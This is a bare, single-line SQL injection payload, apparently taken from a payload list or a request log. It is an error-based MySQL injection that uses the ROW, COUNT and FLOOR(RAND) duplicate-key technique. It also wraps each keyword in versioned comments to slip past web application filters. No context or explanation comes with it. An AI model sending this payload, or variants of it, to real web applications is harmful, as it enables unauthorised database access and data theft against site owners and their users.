1′ AND /*!50000AND*/ROW(7731,7919)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(~,(/*!50000SELECT*/(ELT(7731=7731,1))),~,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/3572/*!50000UNION*//*!50000SELECT*/7094/*!50000UNION*//*!50000SELECT*/5262/*!50000UNION*//*!50000SELECT*/3255)a/*!50000GROUP*//*!50000BY*/x)– – 1